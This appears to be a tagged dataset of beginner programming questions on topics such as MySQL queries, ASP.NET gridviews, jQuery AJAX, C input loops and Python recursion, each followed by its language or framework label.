how to get last 5 or 6 records based on given recordset  i am stuck in generating a query. i need a something that will get the last 6 records if the last row in the given record set s event value is 2  and get the last 5 records id the event is 1. the given records are samples of what the data looks like in my mysql table.    table structure   <pre><code> create table `timelog` (   `timelogid` int(11) not null auto_increment    `event` int(1) not null    primary key (`timelogid`)   ) </code></pre>   here s my current attempt in solving the said problem:   <pre><code>select timelogid  event from (select * from timelog order by timelogid desc limit 6) as t order by timelogid asc </code></pre>   recordset 1     <pre><code>timelogid | event 1         | 1 2         | 2 3         | 1 4         | 2 5         | 1 6         | 2 7         | 1 8         | 2 </code></pre>   result:   <pre><code>timelogid | event 3         | 1 4         | 2 5         | 1 6         | 2 7         | 1 8         | 2 </code></pre>   recordset 2   <pre><code>timelogid | event 1         | 1 2         | 2 3         | 1 4         | 2 5         | 1 6         | 2 7         | 1 </code></pre>   result:   <pre><code>timelogid | event 3         | 1 4         | 2 5         | 1 6         | 2 7         | 1 </code></pre>,mysql
hyperlink in girdview click to move the clicked row value to the new page s gridview  i m making a page for practice. i am wondering if what i think is the realization  there is a part that i can not think of at all.    the shape of the page i want to create  i want to click on a hyperlink in the gridview with a hyperlink and take the clicked row to a new page!    for example  if you click on a hyperlink in a row labeled 1 in the girdview row with numbers 1 through 5  all the values ​​in row 1 go to the new page! (please refer to the picture)    i ve used checkboxes  but that s not happening either. t ^ t please help me.    aspx   <pre><code>&lt;form id= form1  runat= server &gt;     &lt;div&gt;         &lt;table style= width: 1000px; text-align: center; &gt;             &lt;tr&gt;                 &lt;td colspan= 3 &gt;게시판&lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td colspan= 2 &gt;                     &lt;asp:textbox id= txttitle  runat= server &gt;&lt;/asp:textbox&gt;                 &lt;/td&gt;                 &lt;td&gt;                     &lt;asp:button id= btntitle  runat= server  text= 제목쓰기  onclick= btntitle_click  /&gt;                 &lt;/td&gt;             &lt;/tr&gt;         &lt;/table&gt;         &lt;asp:sqldatasource id= sqldatasource1  runat= server                               connectionstring= &lt;%$ connectionstrings:sql_test %&gt;                               selectcommand=  &gt;         &lt;/asp:sqldatasource&gt;         &lt;asp:gridview id= gvtitle  runat= server  datasourceid= sqldatasource1  autogeneratecolumns= false  allowpaging= true                onselectedindexchanged= gvtitle_selectedindexchanged  pagesize= 5  width= 100%                        &gt;             &lt;columns&gt;                 &lt;asp:templatefield&gt;                     &lt;itemtemplate&gt;                         &lt;asp:checkbox id= chkdelete  runat= server  /&gt;                     &lt;/itemtemplate&gt;                 &lt;/asp:templatefield&gt;                 &lt;asp:templatefield headertext= 일련번호 &gt;                     &lt;itemtemplate&gt;                         &lt;%# container.dataitemindex + 1 %&gt;                     &lt;/itemtemplate&gt;                 &lt;/asp:templatefield&gt;                 &lt;%--&lt;asp:boundfield headertext= 일련번호  datafield= 일련번호  /&gt;--%&gt;                 &lt;asp:hyperlinkfield                          headertext= 제목                          datanavigateurlfields= 제목                          datanavigateurlformatstring= ~/글쓰기.aspx 제목={0}                          datatextfield= 제목 /&gt;             &lt;/columns&gt;         &lt;/asp:gridview&gt;         &lt;asp:button id= button1  runat= server  text= 저장  onclick= button1_click  /&gt;     &lt;/div&gt; &lt;/form&gt; </code></pre>   aspx.cs   <pre><code>protected void page_load(object sender  eventargs e)     {         sqldatasource1.selectcommand =  select * from table1 ;     }      protected void btntitle_click(object sender  eventargs e)     {          string title =  insert into table1(제목) values(@txttitle) ;          sqlconnection con = new sqlconnection(configurationmanager.connectionstrings[ sql_test ].connectionstring);         sqlcommand cmd = new sqlcommand(title  con);         cmd.commandtype = commandtype.text;          cmd.parameters.addwithvalue( @txttitle   txttitle.text);          con.open();         cmd.executenonquery();          con.close();           response.redirect( ./게시판.aspx );      }  protected void button1_click(object sender  eventargs e)     {         foreach (gridviewrow row in gvtitle.rows)         {             //checkbox chkrow = (row.cells[0].findcontrol( chkdelete ) as checkbox);             checkbox chkrow = (checkbox)row.findcontrol( chkdelete );              if (chkrow != null)             {                 if (chkrow.checked)                 {                     //response.write(row.rowindex);                     for (int i = 0; i &lt; gvtitle.rows.count; i++)                     {                         if (row.rowindex == i)                         {                             //string employeeid = row.rowindex.tostring();                             string sql3 =  delete from people where 아이디 =  + gvtitle.rows[row.rowindex].cells[1].text;                             dbconn conn3 = new dbconn();                             conn3.executenonquery(sql3);                              conn3.close();                         }                      }                 }             }         }         //response.redirect( ./게시판.aspx );     } </code></pre>,asp.net
-[__nscfstring objectatindex:]: unrecognized selector sent to instance  i have little problem in my iphone application code but can not identify. please help.    bellow is my code gives me error.    this code is in loop.   <pre><code>- (void)playsoundsequence{      if(songcounter &gt;= totalsoundsinqueue || songcounter &lt; 0){     songcounter = 0; } nslog(@ %d   songcounter); sound = [[nsstring alloc] initwithformat:@ %@   [thesoundarray objectatindex:songcounter]]; nslog(@ call ); audioplayer = [[avaudioplayer alloc] initwithcontentsofurl:[nsurl fileurlwithpath:[[nsbundle mainbundle] pathforresource:sound oftype:@  ]] error:null]; sound =  nil; [sound release]; audioplayer.delegate = self; audioplayer.volume = m_volslider.value; [audioplayer play]; m_progressbar.progress = 0; m_progressslider.value = 0; m_progressslider.maximumvalue = audioplayer.duration; [m_btnplay setbackgroundimage:[uiimage imagenamed:@ pause.png ] forstate:uicontrolstatenormal]; bgtaskid = [[uiapplication sharedapplication] beginbackgroundtaskwithexpirationhandler:null]; timer = [nstimer scheduledtimerwithtimeinterval:0.1 target:self selector:@selector(updatedisplay) userinfo:nil repeats:yes]; songcounter++; } </code></pre>   <code>songcounter</code> is integer and one by one increment according to loop.    in this code <code>thesoundarray</code> is my array that contain like bellow   <pre><code> song1.mp3    song2.mp3    song3.mp3    song4.mp3   </code></pre>   the problem is whenever first time my loop was called and  songcounter  was 0 it s run fine. then 2nd time goes in loop and  songcounter  was 1 then there have problem and gives me error.    below is the error.   <pre><code>-[__nscfstring objectatindex:]: unrecognized selector sent to instance </code></pre>,iphone
create multidimensional array from txt file  txt file that looks like this:   <pre><code>first item1:second item1:third item1:fourth item1:fifth item1 first item2:second item2:third item2:fourth item2:fifth item2 first item3:second item3:third item3:fourth item3:fifth item3 </code></pre>   i want to be able to output each item sperately.    as far as i see it  i need to:   <ul> <li>open the file with <code>file()</code></li> <li>create a multidimensional array  by first splitting up the lines</li> <li>use <code>explode()</code> to split it up by <code>:</code></li> </ul>   i have tried various things but i can t get it to work. anyone knows how to do that,php
mysql conditional select & calculate values based on condition  i have a table  with the structure:    <pre><code>date (date) time (time) quantity_ok (int) quantity_ng (int) shift (int) target (decimal) </code></pre>   it contains production data for a given prod line. the catch in this is  that the shift doesn t change at 00:00:00  but at 23:00:00 (3 shifts  07-15  15-23  23-07).     in this table i already have the  correct  dates for the given shift (today s production between 00:00:00 - 07:00:00 has the date of yesterday  as it belongs to yesterday s 3rd shift).    i have to calculate the actual % of the target  based on the idea:     <code>(sum(quality_ok) for given shift) / (nr. of min. from the beginning of the shift)*target</code>    what i am doing is this:   <pre><code>select `date`  sum(quantity_ok) as `sum(quantity_ok)`  (time_to_sec(now()) - time_to_sec( 07:00:00 ))/60*`target` as actual_target  sum(quantity_ok)/((time_to_sec(now()) - time_to_sec( 07:00:00 ))/60*`target`)*100    as `actual % of target`  `time` from u126_td where (`date` = curdate()) </code></pre>   the above works for the 1st shift correctly  for the second shift it gives a summed actual percentage (i would need it to reset to zero from 15:00)  and it gives no result for 00:00-07:00.    i should calculate based on shifts conditionally  but here i m lost.    thanks for your answers!    edit 2: since i came up with something that seems to work:   <pre><code>select `date`  `time`  `actshift`  sum(quantity_ok) as `sum(quantity_ok)`  max(shift) as `max(shift)`  max(`time`) as `max(time)`  case actshift when  1 then sum(quantity_ok)/((time_to_sec(now()) - time_to_sec( 07:00:00 ))/60*`target`)*100            when  2 then sum(quantity_ok)/((time_to_sec(now()) - time_to_sec( 15:00:00 ))/60*`target`)*100                         when  3 then                                         case max(`time`) when max(`time`)&lt; 07:00:00  then                                             sum(quantity_ok)/((time_to_sec(now()) - time_to_sec( 00:00:00 ))/60*`target`)*100                                                                         else                                             sum(quantity_ok)/((time_to_sec(now()) - time_to_sec( 23:00:00 ))/60*`target`)*100                                         end end  as `actual % of target` from u126_td where (`date` = curdate()) </code></pre>   of course  all this shi(f)t needs to be cleaned a  bit  :-),mysql
recall a function in a switch (in c)  in my program i ve one function for taking and control the input(i want only double types as input) and i want to repeat the input until the user press -1 i mean if the user press a -11 aa the program doesn t quit. how can i check the input and repeat the function  input  only if the user doesn t press -1    <pre><code>void input (double *l1){ double temp1=0; printf( \ninsert the first value:  ); while (scanf( %lf  &amp;temp1) != 1){     printf( reinsert the first value:  );     while (getchar() !=  \n );  } </code></pre>   and this is the main:   <pre><code>int main(){     int flag num;     double a;     do{         switch(flag){              default:                 input(&amp;a);                 printf( press -1 to quit:  );                 scanf( %d  &amp;flag);                 if (flag != -1) {                     num=1;                 }                 else num=0;                 break;         }       }while(num != 0);    printf( \nthank you! ); } </code></pre>   now i have only a problem if i press any characters (for example: a b aa ) instead of -1 that value is used in the function input but i don t want! i want that the user when press -1 exit from the program in the other case (characthers or other numbers) the main call the input. how can i do it,c
how to stop cse dont repeat cse <pre><code>#include &lt;stdio.h&gt; #define buffer_size 80 int main() {    file* fp = fopen( fp.txt    r );    char buf[buffer_size];    if(fp!=null)     {          while (!feof(fp))             {                 fscanf(fp   %s  buf);                   printf( read line: %s\n   buf);\                   printf( \n );             }     }     fclose(fp); } //need create fp file      uw     cse      </code></pre>   how to stop cse dont repeat cse again. can  you use condition if-else do-while etc.,c
background image and video doesn t display after jquery loaded content  <strong>hi!</strong>    i have been searching for a couple of hours but haven t find a solution. i wrote an  online viewing page  which shows the current video at the center and next  previous video at the bottom of the page. the code working very well  but after close and load it a few times  it sucked  and doesn t display images and doesn t play video. the code is:   <pre><code>function show_episode(anime id) { $( ‪#‎main‬ ).addclass( blur ).css( pointer-events   none );  if($( ‪#‎episode_box‬ ).length &lt;= 0)  { text =  &lt;div id=episode_box&gt;&lt;div id=episode_box_switchload class=load&gt;&lt;div class=circle&gt;&lt;/div&gt;&lt;div class=circle1&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt; ; document.body.insertadjacenthtml(  afterbegin  text); } if($( #episode_box ).is( :visible )) $( #episode_box ).html( &lt;div id=episode_box_switchload class=load&gt;&lt;div class=circle&gt;&lt;/div&gt;&lt;div class=circle1&gt;&lt;/div&gt;&lt;/div&gt; ); else $( #episode_box ).fadein(); $( #episode_box ‪#‎episode_box_switchload‬ ).fadeout(100 function(){$( #episode_box ).load( episode.php anime= +anime+ &amp;id= +id function(){reload_video();});}); } </code></pre>   i have attached two screenshots. <br> a correct page: <a href= http://haru-subs.hu/test.jpg  rel= nofollow >http://haru-subs.hu/test.jpg</a> <br> and a not correct page: <a href= http://haru-subs.hu/test2.jpg  rel= nofollow >http://haru-subs.hu/test2.jpg</a> <br>    <strong>any idea what s the problem </strong>    sorry for bad english.,jquery
find code in list of codes  i have created a table that has a column <code>code</code> with an 8-digit code (i.e. <code> 8mkl98lo </code>) and another one  <code>list_of_codes</code>  with a string of 8-digit codes (i.e. <code> 8mkl98lo    89flop7p </code>). i need to do a select statement that would tell me whether the first code is included in the other column that has multiple ones.     if i had always the same codes in the second column i could just do something like:   <pre><code>if(code in ( 8mkl98lo    89flop7p )  1  0) </code></pre>   but it doesn t work if i try something like:   <pre><code>if(code in list of codes  1  0)  </code></pre>   any suggestions  i feel it should be pretty easy but i can t find a way that works.    thanks!,sql
angularjs combine results from json into one controller/view  i have to combine the data from three different sources.  ideally  i would do this on the web server  but i have to use json text files at this time until others are prepared to support the web service calls.  as such  i have 3 json files that i need to loop through  and process the data for a page.    my problem is that the one structure i am getting initially  is not available later in my controller to process the data in.  i know this should be moved to different controllers  and likely use factories/services  but i am trying to do a proof of concept to demo the available look/presentation to get approval to build the application.  as such  quick and dirty is needed to simply get the approval for us to then break it and do it proper  with testing built in from the start.    my code:   <pre><code>var app = angular.module( app   []);  app.controller( ctrl   function ($scope  $http) {     $scope.toplay = 0;     $scope.won    = 0;     $scope.lost   = 0;      var structure = [  col1    col2    col3  ];      $scope.data  = [];     $scope.json1 = [];     $scope.json2 = [];     $scope.json3 = [];      // read the 3 files for processing     $http.get( data/json1.json ).success(function(data) {         $scope.json1 = data;     });      $http.get( data/json2.json ).success(function(data) {         $scope.json2 = data;     });      $http.get( data/json3.json ).success(function(data) {         $scope.json3 = data;     });      // create structure in result     var headers = [];     for( var i = 0; i &lt; structure.length; i++)     {         // get the value from stucture for columns         headers.push(structure[i]);     }     $scope.data[0] = [];     $scope.data[0].push(headers);      // get key from json1 id field for each row     // length of json1 is now 0 - this is the error     for( var i = 0; i &lt; $scope.json1.length; i++)     {         var key = $scope.json1[i].id;         $scope.data[key] = [];     }      // get key from json2 key field for each row matches id from json1     for( var i = 0; i &lt; $scope.json2.length; i++)     {         var record = $scope.json2[i];         $scope.data[record.key].push({  date1 : record.data1} );     }  }); </code></pre>,angularjs
remove unused dll s from .net solution  my question is that is there any tool available in market to find all the unused dll s and  remove it from .net solution for visual studio 2012 to make it lighter.,.net
rel attribute in anchor tag  if i give <code>&lt;a href= some_link  rel=  &gt;</code> will the search engine consider rel=   to be noindex  nofollow,html
ios recognizing letters  neural network  ocr  etc  i want to recognize uppercase letters using objective-c.    i have an implementation now that uses tesseract ocr but it s just not accurate enough. the sample size is incredibly small. only letters a-z all the same font and all uppercase so there has to be an easier solution.    i m going to send this to you guys becuase i m definetly a beginner at ios. does anyone know of a way that i can solve this conundrum,ios
orm suggestions –with sprocs  ok  i have a question that i know is very opinionated (based on all the posts i have read)  but i need help. long story short  i have been using the following model for data access for past few  years.    database->sprocs->xsd(typed dataset  drag drop sproc  in.net)-> in dal project make functions to call created methods made by xsd  load all the data then map to projects  business objects.    the pros of this:    1) easy drop drag to create sql calls    2) sprocs are almost a most due to other constraints and easy to add    3) project uses own business objects that fit the solution and  not the database  i just map them in c#    4) code mapping  easy to refactor    5) who doesn’t like everything to be typed and intellisensed    cons: 1) slow to build    2)slow to pull data (table adapter and datasets have bad performance compared to a datareader)    3) buggy when it comes to null vales. and boy can this krap be buggy and this wastes a lot of time.    so that’s what i’ve been doing and not being an idiot  i realized there has to be better ways. so i have spent the last week looking at nhiberabte  linq to sql  entity framework  or going back to doing it all with code with datareaders and untyped.    <strong>so  the question is what is a good database (sprocs likely to objects) mapper .</strong>    my thoughts on the 3 i looked at:    1)linq to sql – well its only sql and microsoft pretty much has said it’s a dead technology  so seems pointless.    2) entity framework – i probably need more exposure to this one  but it seems like  mapping this stuff to my own objects would put me back to where i was.    3) nhibernate – looked promising  but dam i hate writing xml files and my current projects have like 30 to 50 business objects. also  i have to use sprocs in various areas.    anyone’s suggestions or a really good link to a tutorial on a good orm would be greatly appreciated. sorry this question is so long. thanks  joe,.net
single chars of an id to string  following code-snippet:   <pre><code> unsigned char * get_id(unsigned char *buffer)  {      unsigned int i;       for(i=0; i&lt;8;i++)          buffer[i] = read_byte(); // returns uint8_t       return buffer;  } </code></pre>   at the end i have a 64-bit id. i would like to call get_id() and to print the return value(id) with printf. how do i do that     my solution is:   <pre><code>unsigned char tmp_buf[8];  unsigned char *ptr;  ptr = get_id(tmp_buf); printf( id = %02x %02x %02x %02x %02x %02x %02x %02x\n   ptr[7]  ptr[6]  ptr[5]...); </code></pre>   that is quite awful and i don  like it much  but how to print it in  one  small printf-statement,c
disable system/combo bar android ics with out rooting  i have searched high and low  all the while people telling me that   no it is impossible to completely surpress the navigation/combo bar on an ics tablet without rooting it.. and then i find there is an app on the market called surelock that does exactly this..  unfortunately i am building a launcher app myself so i can t use their launcher app  but the big question is how do they do it   anyone,android
unable to get data from ajax (get)  i have a little problem with my code ...    i have a page named  listeclients.php  which have several clients with id s etc. i just made a little button in order to send some data to a page named  actionclient.php   which just has to display the parameters i send to it. the actionclient.php consists in this :   <pre><code>&lt; php echo  test =  ; echo $_get[ test ]; echo $_get[ test2 ];  &gt; </code></pre>   (it s just a test page).    and here s my jquery script :   <pre><code>$(  div.modif_dialog ).click(function(e4) {     $(  #editer  ).dialog( open );     var monurl4 =  actionclient.php action=modifier&amp;id= ;     var url_final4 = monurl4+pos4;     $.ajax({         type:  get           url: url_final4          data: { test:  test   test2: pos4}          success: function(){            alert (pos4);         }     });     $( #editer ).load(monurl4  function(response4  status4) {         $( #test_dialog2 ).html(response4);     });     e4.preventdefault(); }); </code></pre>   my alert with alert(pos4) works great  and the variables are all correct.    the actionclient.php (url_final4) is well loaded in my dialogbox  but it always just print :      test =      any clue   (i did exactly the same code with a post method in an another page and it works great... i don t understand.)    thanks !,jquery
what is the largest prime factor of the number 600851475143   i want to know that what is the error in my code.    <pre><code>int main () {  long long int number  large_factor=0  i=2;  printf ( enter a number :  ); scanf ( %ld   &amp;number);  while (number!=1) {      if (number%i==0) {          while (number%i==0) {             printf ( %ld\t   i);             number/=i;         }          large_factor=i;     }      i++;  }  printf ( \n\nthe largest prime factor is : %ld\n\n   large_factor);  return 0; } </code></pre>   this code is running fine for smaller numbers but why it is failing for the large numbers,c
xcode unexpected @ error  i have tried everything to try and fix it i read throughout the other similar questions but nothing worked.   <pre><code>#import  viewcontroller.h  //sound @implementation soundappviewcontroller -(ibaction)play; { cfbundleref mainbundle = cfbundlegetmainbundle(); cfurlref soundfileurlref; soundfileurlref = cfbundlecopyresourceurl(mainbundle  (cfstringref) @ app 3   cfstr ( m4a )  null);    uint32 (soundid);    audioservicescreatesystemsoundid(soundfileurlref  &amp;soundid);    audioservicesplaysystemsound(soundid);     @end              // here i get the error unexpected @ in program </code></pre>,objective-c
is it safe to read a locked variable in shared memory   for example  i have a variable   <pre><code>struct sth {     int abcd;     pthread_mutex_t mutex; }; </code></pre>   i have two method   <pre><code>setsth(int a) {   lock();   sth-&gt;abcd = a;   unlock(); }  getsth() {   return sth-&gt;abcd; } </code></pre>   <code>sth</code> will never be freed. is it safe not use <code>lock/unlock</code> in getsth()  i don t care accuracy.    by safe i mean there s no segfault thing.,c
how would i go about getting a breakdown (and sum of population) of all groups of countries based on first letter  i don t have a clue how to do this one i am looking for results that will be a letter for every character in the alphabet and then a value for that letters total population for example i know z is supposed to equal 61 000 000 also the next 4 queries i have to write have to do with making tweaks to this query so i have to figure it out i am pouring over my text book but not having any luck.,mysql
extracting and editing a part of a paragraph of a text  i have the following problem that was only partially solved in a previous post: i have a particular type of text file  this file contains the information of a series of roi of a patient for a radiotherapy treatment  i would like to identify a portion of text that contains a series of numbers (objective achieved in the previous post) editing a part of these numbers and save them in the original file. i enclose a copy of the roi file:   <pre><code>    code starts here  // region of interest file // data set: // file created: mon sep  4 17:17:19 2017  // // pinnacle treatment planning system version 9.10  // 9.10  //   file_stamp={        write_date: mon sep  4 17:17:19 2017     write_program: pinnacle treatment planning system     write_version: 9.10   }; // end of file_stamp //----------------------------------------------------- //  beginning of roi: couch //-----------------------------------------------------   roi={            name: couch     volume_name: stats_volume_name:             author:               organ_name:               flags =          16;            roiinterpretedtype: organ            color:           skyblue            box_size =       5;            line_2d_width =  2;            line_3d_width =  1;            paint_brush_radius =  0.4;            paint_allow_curve_closing = 1;            curve_min_area =  0.1;            curve_overlap_min =  88;            lower =          800;            upper =          4096;            radius =         0;            density =        1;            density_units:   g/cm^3            override_data =  0;            override_order =  0;            override_material =  0;            material:        none            invert_density_loading =  0;            volume =         0;            pixel_min =      0;            pixel_max =      0;            pixel_mean =     0;            pixel_std =      0;            bbevdrroutline = 0;            display_on_other_vols = 1;            is_linked =      0;            auto_update_contours =  0;            uid: 2.16.840.1.113669.2.931128.555336727.20170904171440.8062            stoppingpower =        0;            ctnumber =        0;            is_created_by_atlasseg = 0;            is_created_by_autoplanengine = 0;            num_curve = 2; //---------------------------------------------------- //  roi: couch //  curve 1 of 2 //----------------------------------------------------                curve={                        flags =       20;                        block_size =  32;                        num_points =  6; points={ -23.5328 6.25885 40 23.7286 6.25885 40 23.8268 2.14121 40 -23.5328 2.04318 40 -23.5328 6.25885 40 -23.5328 6.25885 40  };  // end of points for curve 1 }; // end of curve 1 //---------------------------------------------------- //  roi: couch //  curve 2 of 2 //----------------------------------------------------                curve={                        flags =       20;                        block_size =  32;                        num_points =  6; points={ -23.5328 5.52735 65 23.7286 5.52735 65 23.8268 2.14121 65 -23.5328 2.04318 65 -23.5328 5.52735 65 -23.5328 5.52735 65  };  // end of points for curve 2 }; // end of curve 2                surface_mesh={                        allow_adaptation = 1;                        replace_mean_mesh = 0;                        auto_clean_contours = 1;                        auto_smooth_mesh = 1;                        internal_weight = -3.000000;                        surface_weight = 1.000000;                        distance_weight = 2.000000;                        profile_length = 10;                        limit_feature_search_string: full                        pixel_size = 1.000000;                        feature_weight = 0.010000;                        lower_ct_bound = 0.000000;                        upper_ct_bound = 4095.000000;                        gradient_clipping: soft                        gradient_direction: unsigned                        maximum_gradient = 100.000000;                        avoid_ct_range: none                        avoid_ct_threshold = 4095.000000;                        number_of_modes = 0;                        number_of_vertices = 0;                        number_of_triangles = 0;                        max_iterations = 10;                        smooth_between_iterations = 0;                        repair_between_iterations = 1;                        translation_increment_cm = 0.500000;                        rotation_increment = 20.000000;                        magnify_increment = 0.200000;                        sphere_tool_radius = 1.500000;                        gaussian_tool_radius = 3.000000;                        vertex_drag_curvature = 0.700000;                        vertex_drag_neighbor_layers = 3;                        vertices={  };  // end of vertices for surface mesh                        triangles={  };  // end of triangles for surface mesh }; // end of surface_mesh                 mean_mesh={                        samples = 0;                        number_of_vertices = 0;                        number_of_triangles = 0;                        vertices={  };  // end of vertices for mean mesh                        triangles={  };  // end of triangles for mean mesh }; // end of mean_mesh          }; // end of roi couch      code ends here </code></pre>   i am interested in extracting only the numerical values (x  y  z) in the part of the paragraph defined by roi: couch for all its curves. with the regular expression i was able to extract these values but also unwanted values such as:   <pre><code>//  curve 1 of 2 //----------------------------------------------------                curve={                        flags =       20;                        block_size =  32;                        num_points =  6; points={ </code></pre>   these values are added to those desired: 1 2 20 32 6 (unwanted) -23.5328 6.25885 40 etc. etc. (desired). these values are added to the desired values: 1 2 20 32 6 (unwanted) -23.5328 6.25885 40 etc. etc. (desired). the last step is to vary the x and y of a known value --> -123.5328 106.25885 and enter these new values instead of the original values in the original file. in this way i have the displacement in x  y of my roi in the cartesian plane. thank you for all the help you can give me.,python
how to find number of keys with certain values in a deep javascript object   i have the following deep javascript object  how do i find the number of  <code>type</code>  keys which have a value of  <code>foo</code>      <pre><code>{     ...     blocks: [{         items: [{             type:  foo          }          {             type:  subblock               items: [{                 type:  foo              }]         }]     }      {         items: [{             type:  foo          }          {             type:  foo          }]     }]     ... } </code></pre>,javascript
how   where and when to use nsthread in an application...iphone  every one     as i am new to iphone application   now i want know how to use nsthread in my app      what is the use of nsthread.    please and send me some example programs on that.,iphone
i have a method which returns jsonarray n i want to send that jsonarray to server <pre><code>public jsonarray getproductcartjson() {      jsonarray product_array = new jsonarray();     try {         for (fooditem item : getitem_list()) {             jsonobject object = new jsonobject();              object.put( id      + item.getid());              object.put( quantity      + item.getcart());             object.put( note     );             product_array.put(object);          }      } catch (jsonexception e) {         // todo auto-generated catch block         e.printstacktrace();     }      return product_array; } </code></pre>   here am calling the above method to send to server   <pre><code>public static httpresponse posthttp(string url2) {       httpresponse httpresponse = null;       jsonarray product_array = null;       url url;       try {           url = new url(url1);           log.e(tag   url1 in posthttp  + url);           httpurlconnection urlconnection = (httpurlconnection) url                 .openconnection();           stringbuilder postdatabuilder = new stringbuilder();           postdatabuilder.append(urlencoder.encode( 005    utf-8 ));           urlconnection.setdooutput(true);           urlconnection.setrequestmethod( post );           urlconnection.setusecaches(false);           urlconnection.setconnecttimeout(10000);           urlconnection.setreadtimeout(10000);           urlconnection.setrequestproperty( content-type   application/json );           urlconnection.connect();           jsonobject jsonparam = new jsonobject();           jsonparam.put( t    t );           jsonparam.put( m    m );           jsonparam.put( n    n );           jsonparam.put( a    a );           jsonparam.put( p    p );           jsonparam.put( e    e );            product_array = new jsonarray();           product_array = carthandler.getcarthandler().getproductcartjson();           jsonparam.put( pj   product_array.tostring());            outputstreamwriter out = new outputstreamwriter(                 urlconnection.getoutputstream());           out.write(jsonparam.tostring());           out.close();           inputstream is = urlconnection.getinputstream();           bufferedreader br = new bufferedreader(new inputstreamreader(is));           string line;           stringbuffer response = new stringbuffer();           while ((line = br.readline()) != null) {               response.append(line);               response.append( \n );           }           if (urlconnection.getresponsecode() == httpurlconnection.http_ok) {               system.out.println(response.tostring());           } else {               system.out.println( incorrect response code );           }           br.close();           urlconnection.disconnect();        } catch (exception e) {           // todo auto-generated catch block           e.printstacktrace();       }       return httpresponse;   }   </code></pre>   ive no problem with sending jsonobjects  but jsonarray is not able to send  its not even showing any error  am getting the details of all jsonobjects but not the jsonarray,android
jquery delay between html and group of calls  trying to figure this out and haven t had much success.  first and foremost i want to make sure that the html call has completed before the fadein and two functions are called below it.    secondly  i want to add in a delay  say 200  after the html loading and before the fadein and two functions.    i can add .delay(200) to the end of the html call  but it only delays the fadein... the other two functions run earlier... i all three to run at the same time. i am trying to mimic the same result if i were using load and wrapping these three in a function call.   <pre><code>if (response.success) {      $myelem = $( #show-edit ); //performance     $myelem.fadeout( fast   function(){                          $myelem.html( sometext );          //once html added do these         $myelem.fadein( fast );          showselect();          // show success toast         toastr.info( user \ &lt;b&gt; +response.username+ &lt;/b&gt;\  has been deleted.    success );      }); } </code></pre>,jquery
sql - average distance per day  i have a problem here:  show average distance per day driven by cars from paris     i have also 2 tables referred to this problem   <ol> <li><code>table_cars</code>: <code>id</code>  <code>brand</code>  <code>type</code>  <code>license</code></li> <li><code>table_distances</code>: <code>id_car</code>  <code>date</code>  <code>distance</code></li> </ol>   i have managed to select  the average distance for the cars from paris    <pre><code> select avg(table_distances.distance)      from table_distances      inner join table_cars on table_distances.id_car = table_cars.id      where table_cars.license =  paris ;  </code></pre>   though  i have still a problem with average distance per day. i looked over related questions on the stackoverflow/google but i got more confused.    can somebody explain how i can improve my query to show average distance per day,sql
multiple dependent dropdown using jquery  i have used the following code to run two different dependent dropdown list. subdivision depends on district and dress depends on gender. its not working. where is the problem  can we use two functions like that     <pre><code>$(function(){ var $cat = $( #cat )      $subcat = $( #subcat );    $cat.on( change  function(){     var _rel = $(this).val();     $subcat.find( option ).attr( style    );     $subcat.val(  );     if(!_rel) return $subcat.prop( disabled  true);     $subcat.find( [rel= +_rel+ ] ).show();     $subcat.prop( disabled  false);   });   var $cat1 = $( #cat1 )      $subcat1 = $( #subcat1 );    $cat1.on( change  function(){     var _rel = $(this).val();     $subcat1.find( option ).attr( style    );     $subcat1.val(  );     if(!_rel) return $subcat1.prop( disabled  true);     $subcat1.find( [rel= +_rel+ ] ).show();     $subcat1.prop( disabled  false); });    });   district: &lt;select name= dis   id= cat  required&gt;&lt;option&gt;&lt;/option&gt;&lt;option  &gt;north &lt;/option&gt;&lt;option &gt;unakoti&lt;/option&gt;&lt;/select&gt;   subdivision: &lt;select name= subd  id= subcat    required&gt;&lt;option&gt;&lt;/option&gt; &lt;option rel= north  value= dharmanagar &gt;dharmanagar&lt;/option&gt;  &lt;option rel= north  value= panisagar &gt;panisagar&lt;/option&gt; &lt;option rel= north  value= kanchanpur &gt;kanchanpur&lt;/option&gt;  &lt;option  rel= unakoti  value= kailasahar &gt;kailasahar&lt;/option&gt; &lt;option  rel= unakoti  value= kumarghat  &gt;kumarghat&lt;/option&gt;&lt;/select&gt;    gender: &lt;select name= gen   id= cat1  required&gt;&lt;option&gt;&lt;/option&gt;&lt;option &gt;m  &lt;/option&gt;&lt;option &gt;f&lt;/option&gt;&lt;/select&gt;   dress: &lt;select name= dre  id= subcat1    required&gt;&lt;option&gt;&lt;/option&gt; &lt;option rel= m  value= d1 &gt;d1&lt;/option&gt; &lt;option rel= m  value= d2 &gt;d2&lt;/option&gt; &lt;option rel= m  value= d3 &gt;d3&lt;/option&gt;  &lt;option  rel= f  value= d4 &gt;d4&lt;/option&gt; &lt;option  rel= f  value= d5  &gt;d5&lt;/option&gt;  &lt;/select&gt;  </code></pre>,jquery
python return statement not running  i am creating a program to figure out the highest number of decimals in a list of numbers. basically  a list with <code>[123  1233]</code> would return 4 because 1233 has four numbers in it and it is the largest. another example would be that <code>[12  4333  5  555555]</code> would return 6 because 555555 has 6 numbers.    here is my code.   <pre><code>def place(listy):       if len(listy) == 1:           decimal = len(str(listy[0]))             print(decimal)       else:           if len(str(listy[0])) &gt;= len(str(listy[1])):               new_list = listy[0:1]               for i in listy[2:]:                   new_list.append(i)               place(new_list)           else:                place(listy[1:])  </code></pre>   now  when i use <code>print(decimal)</code> it works  but if i change <code>print(decimal)</code> to <code>return decimal</code>  it doesn t return anything. why is this  how do i fix this  i have come across these return statements which doing run a lot of times. thanks in advance!,python
